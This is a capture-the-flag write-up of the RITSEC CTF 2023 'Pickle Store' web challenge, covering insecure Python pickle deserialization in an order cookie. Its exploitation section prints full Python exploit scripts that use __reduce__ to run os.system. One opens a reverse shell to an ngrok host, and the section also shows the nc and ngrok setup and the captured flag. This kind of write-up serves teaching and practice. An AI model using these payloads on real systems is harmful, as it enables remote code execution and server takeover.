# Pickle Store
- 223 Points / 109 Solves
## Background
New pickles just dropped! Check out the store.
[https://pickles-web.challenges.ctf.ritsec.club/](https://pickles-web.challenges.ctf.ritsec.club/)
![](https://raw.githubusercontent.com/siunam321/CTF-Writeups/main/RITSEC-CTF-2023/images/Pasted%20image%2020230402122900.png)
## Enumeration
**Home page:**
![](https://raw.githubusercontent.com/siunam321/CTF-Writeups/main/RITSEC-CTF-2023/images/Pasted%20image%2020230402122911.png)
In here, we can pick 4 different pickles.
**View source page:**```html[...]<div>     <input type='button' class='button'      onclick='document.cookie=      "order=gASVDwAAAAAAAACMC3N3ZWV0cGlja2xllC4="'      value='Sweet Pickle: $2'>      <input type='button' class='button'      onclick='document.cookie="order=gASVDgAAAAAAAACMCnNvdXJwaWNrbGWULg=="'      value='Sour Pickle: $2'>      <input type='button' class='button'      onclick='document.cookie=      "order=gASVEAAAAAAAAACMDHNhdm9yeXBpY2tsZZQu"'      value='Savory Pickle: $2'>      <input type='button' class='button'      onclick='document.cookie=      "order=gASVDwAAAAAAAACMC3NhbHR5cGlja2xllC4="'      value='Salty Pickle: $2'> </div>[...]```
When those buttons are clicked, it'll bring us to `/order`, and set a new cookie called `order`, with value base64 encoded string. It's base64 encoded because the last character has `=`, which is a base64 encoding's padding character.
Let's click on the first one:
![](https://raw.githubusercontent.com/siunam321/CTF-Writeups/main/RITSEC-CTF-2023/images/Pasted%20image%2020230402123310.png)
![](https://raw.githubusercontent.com/siunam321/CTF-Writeups/main/RITSEC-CTF-2023/images/Pasted%20image%2020230402123324.png)
As excepted, it brings us to `/order`, and response us the pickle name.
**Now, I wonder what's that base64 string. Let's decode that!**```shell┌[siunam♥earth]-(~/ctf/RITSEC-CTF-2023/Web/Pickle-Store)-[2023.04.02|12:34:45(HKT)]└> echo 'gASVDwAAAAAAAACMC3N3ZWV0cGlja2xllC4=' | base64 -d | xxd00000000: 8004 950f 0000 0000 0000 008c 0b73 7765  .............swe00000010: 6574 7069 636b 6c65 942e                 etpickle..```
As you can see, after decoded, it's just some raw bytes.
Luckly, this challenge's title and website contents gave us a big hint: ***Pickle***.
In Python, there's a library called "Pickle", which is an object ***serialization*** library for Python.
> The [`pickle`](https://docs.python.org/3/library/pickle.html#module-pickle "pickle: Convert Python objects to streams of bytes and back.") module implements binary protocols for serializing and de-serializing a Python object structure. _“Pickling”_ is the process whereby a Python object hierarchy is converted into a byte stream, and _“unpickling”_ is the inverse operation, whereby a byte stream (from a [binary file](https://docs.python.org/3/glossary.html#term-binary-file) or [bytes-like object](https://docs.python.org/3/glossary.html#term-bytes-like-object)) is converted back into an object hierarchy. Pickling (and unpickling) is alternatively known as “serialization”, “marshalling,” \[[1]\](https://docs.python.org/3/library/pickle.html#id7) or “flattening”; however, to avoid confusion, the terms used here are “pickling” and “unpickling”. (From [`pickle` documentation](https://docs.python.org/3/library/pickle.html))
**If you go to [Pickle's documentation](https://docs.python.org/3/library/pickle.html), you'll see this:**
![](https://raw.githubusercontent.com/siunam321/CTF-Writeups/main/RITSEC-CTF-2023/images/Pasted%20image%2020230402123806.png)
## Exploitation
Armed with above information, it's clear that the `order` cookie is vulnerable to ***Insecure Deserialization via Python's Pickle***.
**According to [HackTricks](https://book.hacktricks.xyz/pentesting-web/deserialization#pickle), we can gain Remote Code Execution (RCE) via the `__reduce__` magic method:**
![](https://raw.githubusercontent.com/siunam321/CTF-Writeups/main/RITSEC-CTF-2023/images/Pasted%20image%2020230402124014.png)
**Now, let's create our own evil pickle serialized object, and send it!!**```py#!/usr/bin/env python3import pickle, os, base64import requests
class P(object):    def __reduce__(self):        return (os.system,("id ",))
def main():    pickledPayload = base64.b64encode(pickle.dumps(P())).decode()    print(f'[*] Payload: {pickledPayload}')
    URL = 'https://pickles-web.challenges.ctf.ritsec.club/order'    cookie = {        'order': pickledPayload    }
    print('[*] Request result:')    orderRequestResult = requests.get(URL, cookies=cookie)    print(orderRequestResult.text)
if __name__ == '__main__':    main()```
```shell┌[siunam♥earth]-(~/ctf/RITSEC-CTF-2023/Web/Pickle-Store)-[2023.04.02|12:48:25(HKT)]└> python3 solve.py[*] Payload: gASVHgAAAAAAAACMBXBvc2l4lIwGc3lzdGVtlJOUjANpZCCUhZRSlC4=[*] Request result:
<head>  <title>Pickle Store</title>  <link rel="stylesheet" href="/static/style.css"></head><body>  <h1>Here's your order!</h1>  <h2>0</h2> New Order</body>```
Umm... `0`??
It seems like the `/order` doesn't reflect (display) our payload's result...
Hmm... Let's get a shell then.
**After some trial and error, the Python3 reverse shell worked:** (From [revshells.com](https://www.revshells.com/))```py#!/usr/bin/env python3import pickle, os, base64import requests
class RCE(object):    def __reduce__(self):        return (os.system,('''python3 -c 'import os,pty,socket;s=socket.socket();s.connect(("0.tcp.ap.ngrok.io",11713));[os.dup2(s.fileno(),f)for f in(0,1,2)];pty.spawn("/bin/bash")' ''',))
def main():    pickledPayload = base64.b64encode(pickle.dumps(RCE())).decode()    print(f'[*] Payload: {pickledPayload}')
    URL = 'https://pickles-web.challenges.ctf.ritsec.club/order'    cookie = {        'order': pickledPayload    }
    print('[*] Request result:')    orderRequestResult = requests.get(URL, cookies=cookie)    print(orderRequestResult.text)
if __name__ == '__main__':    main()```
**Setup a `nc` listener:**```shell┌[siunam♥earth]-(~/ctf/RITSEC-CTF-2023)-[2023.04.02|13:13:43(HKT)]└> nc -lnvp 4444listening on [any] 4444 ...```
**Since we don't have a VPN connection to the challenge's instance, we'll need to do port forwarding. I'll use `ngrok` to do that:**```shell┌[siunam♥earth]-(~/ctf/RITSEC-CTF-2023/Web/Pickle-Store)-[2023.04.02|13:06:54(HKT)]└> ngrok tcp 4444[...]Forwarding                    tcp://0.tcp.ap.ngrok.io:11713 -> localhost:4444[...]```
**Send the payload:**```shell┌[siunam♥earth]-(~/ctf/RITSEC-CTF-2023/Web/Pickle-Store)-[2023.04.02|13:18:44(HKT)]└> python3 solve.py[*] Payload: gASVtAAAAAAAAACMBXBvc2l4lIwGc3lzdGVtlJOUjJlweXRob24zIC1jICdpbXBvcnQgb3MscHR5LHNvY2tldDtzPXNvY2tldC5zb2NrZXQoKTtzLmNvbm5lY3QoKCIwLnRjcC5hcC5uZ3Jvay5pbyIsMTE3MTMpKTtbb3MuZHVwMihzLmZpbGVubygpLGYpZm9yIGYgaW4oMCwxLDIpXTtwdHkuc3Bhd24oIi9iaW4vYmFzaCIpJyCUhZRSlC4=[*] Request result:
```
```shell┌[siunam♥earth]-(~/ctf/RITSEC-CTF-2023)-[2023.04.02|13:13:43(HKT)]└> nc -lnvp 4444listening on [any] 4444 ...connect to [127.0.0.1] from (UNKNOWN) [127.0.0.1] 38340user@NSJAIL:/home/user$```
Boom! I'm in!
**Let's get the flag!**```shelluser@NSJAIL:/home/user$ ls -lah /total 64Kdrwxr-xr-x 17 nobody nogroup 4.0K Apr  2 02:27 .drwxr-xr-x 17 nobody nogroup 4.0K Apr  2 02:27 ..lrwxrwxrwx  1 nobody nogroup    7 Mar  8 02:05 bin -> usr/bindrwxr-xr-x  2 nobody nogroup 4.0K Apr 15  2020 bootdrwxr-xr-x  5 nobody nogroup  360 Apr  2 04:51 devdrwxr-xr-x 35 nobody nogroup 4.0K Apr  2 02:26 etc-rw-r--r--  1 nobody nogroup   28 Mar 30 04:04 flagdrwxr-xr-x  3 nobody nogroup 4.0K Apr  2 02:26 homelrwxrwxrwx  1 nobody nogroup    7 Mar  8 02:05 lib -> usr/liblrwxrwxrwx  1 nobody nogroup    9 Mar  8 02:05 lib32 -> usr/lib32lrwxrwxrwx  1 nobody nogroup    9 Mar  8 02:05 lib64 -> usr/lib64lrwxrwxrwx  1 nobody nogroup   10 Mar  8 02:05 libx32 -> usr/libx32drwxr-xr-x  2 nobody nogroup 4.0K Mar  8 02:06 mediadrwxr-xr-x  2 nobody nogroup 4.0K Mar  8 02:06 mntdrwxr-xr-x  2 nobody nogroup 4.0K Mar  8 02:06 optdrwxr-xr-x  2 nobody nogroup 4.0K Apr 15  2020 procdrwx------  3 nobody nogroup 4.0K Apr  2 02:26 rootdrwxr-xr-x  5 nobody nogroup 4.0K Mar  8 02:09 runlrwxrwxrwx  1 nobody nogroup    8 Mar  8 02:05 sbin -> usr/sbindrwxr-xr-x  2 nobody nogroup 4.0K Mar  8 02:06 srvdrwxr-xr-x  2 nobody nogroup 4.0K Apr 15  2020 sysdrwxrwxrwt  2 user   user      80 Apr  2 05:18 tmpdrwxr-xr-x 13 nobody nogroup 4.0K Mar  8 02:06 usrdrwxr-xr-x 11 nobody nogroup 4.0K Mar  8 02:09 varuser@NSJAIL:/home/user$ cat /flagRS{TH3_L345T_53CUR3_P1CKL3}```
- **Flag: `RS{TH3_L345T_53CUR3_P1CKL3}`**
## Conclusion
What we've learned:
1. Insecure Deserialization In Python's Pickle Library